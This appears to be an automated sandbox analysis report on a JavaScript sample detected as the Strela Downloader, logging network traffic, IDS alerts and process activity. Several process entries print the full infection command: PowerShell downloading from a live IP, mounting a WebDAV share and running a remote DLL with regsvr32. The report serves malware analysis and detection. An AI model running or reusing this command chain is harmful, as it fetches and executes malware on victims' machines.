aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:59280 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1260157750.000001F1AA077000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1319219257.000001AB90C2A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1319219257.000001AB90BF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1319219257.000001AB90C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1319219257.000001AB90C2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/R
Source: net.exe, 0000000C.00000002.1319219257.000001AB90BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n0K
Source: svchost.exe, 0000000E.00000002.2541217212.00000261C2A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1316067611.00000261C2770000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4348, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 28926317492847332246.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2664:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_emnx41dz.q1d.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 28926317492847332246.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28926317492847332246.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1752,i,11237480767968398890,12419897891309749261,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1752,i,11237480767968398890,12419897891309749261,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
